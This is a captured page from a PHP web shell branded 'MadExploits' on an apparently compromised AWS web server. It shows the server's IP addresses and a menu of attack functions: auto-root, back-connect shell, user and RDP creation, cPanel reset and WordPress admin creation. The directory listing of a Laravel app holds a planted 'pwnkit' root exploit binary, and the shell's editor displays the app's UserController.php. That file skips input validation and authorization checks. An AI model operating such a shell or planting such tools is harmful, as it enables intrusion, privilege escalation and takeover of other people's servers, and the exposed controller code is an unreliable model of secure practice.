Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.15.27.146
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxrwxr-x
Auth
[ DIR ]
drwxrwxr-x
.DS_Store
6
KB
-rw-rw-r--
.mad-root
0
B
-rw-r--r--
AdminController.php
29.09
KB
-rw-rw-r--
Controller.php
2.18
KB
-rw-rw-r--
FoodController.php
3.54
KB
-rw-rw-r--
HomeController.php
2.37
KB
-rw-rw-r--
NewPlaceController.php
7.93
KB
-rw-rw-r--
PlaceController.php
30.13
KB
-rw-rw-r--
UserController.php
8.28
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UserController.php
<?php namespace App\Http\Controllers; use App\Jobs\ProcessImage; use App\Mail\Plain; use App\User; use DateTime; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Mail; use Illuminate\Support\Facades\Validator; class UserController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param string $username * @return \Illuminate\Http\Response */ public function show($username) { $db = DB::getMongoDB(); $user = $db->users->findOne(['username' => $username]); // return view('user'); } public function showTestLoginForm() { return view('auth.login', ['page' => 'User']); } public function testBegin(Request $request) { $this->authorize('start-test'); $user = $request->user(); // if (!$user->verified) { // return view('user.error', ['email' => $user->email, 'message' => "You need to verify your email before you can start the exercise. Please check your email for a link to verify your email"]); // } if($user->started) return redirect()->route('test_start', ['num' => 1]); return view('user.test_start'); } public function testStart(Request $request) { $this->authorize('start-test'); $start = $request->query('s'); $user = $request->user(); $now = (new \DateTime('now', new \DateTimeZone('Africa/Lagos'))); if(!$user->started) { $user->started = $now->format('Y-m-d H:i:s'); $user->save(); }else { if($now->diff(new DateTime($user->started))->days >= 3){ return view('user.error', ['message' => "You have exhausted your time for this exercise, please wait for feedback from us."]); } } // var_dump($user->started);die; return view('user.testreact'); } public function getAnswers(Request $request, $num) { $user = $request->user(); $db = DB::getMongoDB(); $answer = $db->answers->findOne(['user' => $user->email, 'question' => $num], ['projection' => ['_id' => 0, 'user' => 0]]); return response()->json($answer); } public function answers(Request $request, $num) { $user = $request->user(); $now = new DateTime(); if($now->diff(new DateTime($user->started))->days >= 3){ return response()->json(['error' => 'Time Elapsed']); } $db = DB::getMongoDB(); $answer = json_decode($request->getContent(), true); $result = $db->answers->replaceOne(['user' => $user->email, 'question' => $num], array_merge(['user' => $user->email, 'question' => $num], $answer), ['upsert' => true]); return response()->json($result); } public function finish(Request $request) { $user = $request->user(); if($user->role === 'tester') { $user->role = 'user'; $user->finished = (new \DateTime('now', new \DateTimeZone('Africa/Lagos')))->format('Y-m-d H:i:s'); $user->save(); return view('user.error', ['message' => 'Thank you for taking the time to complete this challenge. We will get back to you as soon as possible.']); } return redirect()->route('home'); } public function accept(Request $request) { $data = json_decode($request->getContent(), true); $user = User::where('email', $data['email'])->first(); $user->status = 'accepted'; $user->save(); Mail::to($user->email)->send(new Plain($user, 'emails.accept', 'Application for Content Creator/Social Media Manager', null)); return response()->json(['status' => 'success', 'message' => 'ACCEPTED']); } public function reject(Request $request) { $data = json_decode($request->getContent(), true); $user = User::where('email', $data['email'])->first(); $user->status = 'rejected'; $user->save(); Mail::to($user->email)->send(new Plain($user, 'emails.reject', 'Application for Social Media Manager', null)); return response()->json(['status' => 'success', 'message' => 'REJECTED']); } public function getUser(Request $request) { if($u = $request->user()){ $user = array('avatar' => $u->avatar, 'name' => $u->name, 'email' => $u->email, 'location' => $u->location, 'bio' => $u->bio, 'role' => $u->role); }else { $user = null; } return $user ? response()->json($user) : view('auth.app_register'); } public function profile(Request $request) { $user = $request->user(); $name = $user->name ?? $user->username; return view('user.profile', ['page' => 'Profile', 'name' => $name]); } /** * Update user profile * @param Request $request */ public function update(Request $request) { $user = $request->user(); $db = DB::getMongoDB(); $update = []; $imagePath = "/users/images/"; Validator::make($_POST, [ 'name' => 'required|string|max:255|min:4' ]); if($uploadedFile = $request->file('avatar')){ $filename = uniqid('user_') . ".jpg"; $uploadedFile->storeAs($imagePath, $filename); $file = array(); $file['file'] = storage_path('app/public/users/images/' . $filename); $file['url'] = $imagePath . $filename; ProcessImage::dispatch(array($file)); $update['avatar'] = env('S3_BASE_URL') . $imagePath . $filename; } $update['name'] = $_POST['name']; $update['location'] = $_POST['location']; $update['bio'] = $_POST['bio']; $updated = $db->users->findOneAndUpdate([ '_id' => new \MongoDB\BSON\ObjectId($user->_id) ], [ '$set' => $update ], [ 'returnDocument' => \MongoDB\Operation\FindOneAndUpdate::RETURN_DOCUMENT_AFTER ] ); unset($updated['_id']); return response()->json($updated); } /** * Get logged in user reviews */ public function reviews(Request $request) { $user = $request->user(); $db = DB::getMongoDB(); $reviews = $db->reviews->find(['user_id' => $user->_id])->toArray(); return response()->json($reviews); } public function deleteReview(Request $request, $id) { $user = $request->user(); $db = DB::getMongoDB(); $deleted = $db->reviews->deleteOne([ '_id' => new \MongoDB\BSON\ObjectId($id), 'user_id' => $user->id ]); return response()->json(['status' => $deleted->getDeletedCount() ? 'OK' : 'error']); } public function places(Request $request) { $user = $request->user(); $pipeline = []; $db = DB::getMongoDB(); // $pipeline[] = ['$lookup' => // [ // 'from' => 'foodings', // 'let' => ['id' => '$slug'], // 'pipeline' => [ // [ // '$match' => [ // '$expr' => [ // '$eq' => ['$place_slug', '$$id'] // ] // ] // ], // [ // '$sort' => ['name' => 1] // ] // ], // 'as' => 'food' // ] // ]; // $pipeline[] = ['$match' => ['food' => ['$ne' => []]]]; // $pipeline[] = ['$match' => ['$or' => [['user' => $user->email], ['modified_by' => $user->email]]]]; $places = $db->placing->find(['$or' => [['user' => $user->email], ['modified_by' => $user->email], ['created_by' => $user->email]]])->toArray(); return response()->json($places); } }
Close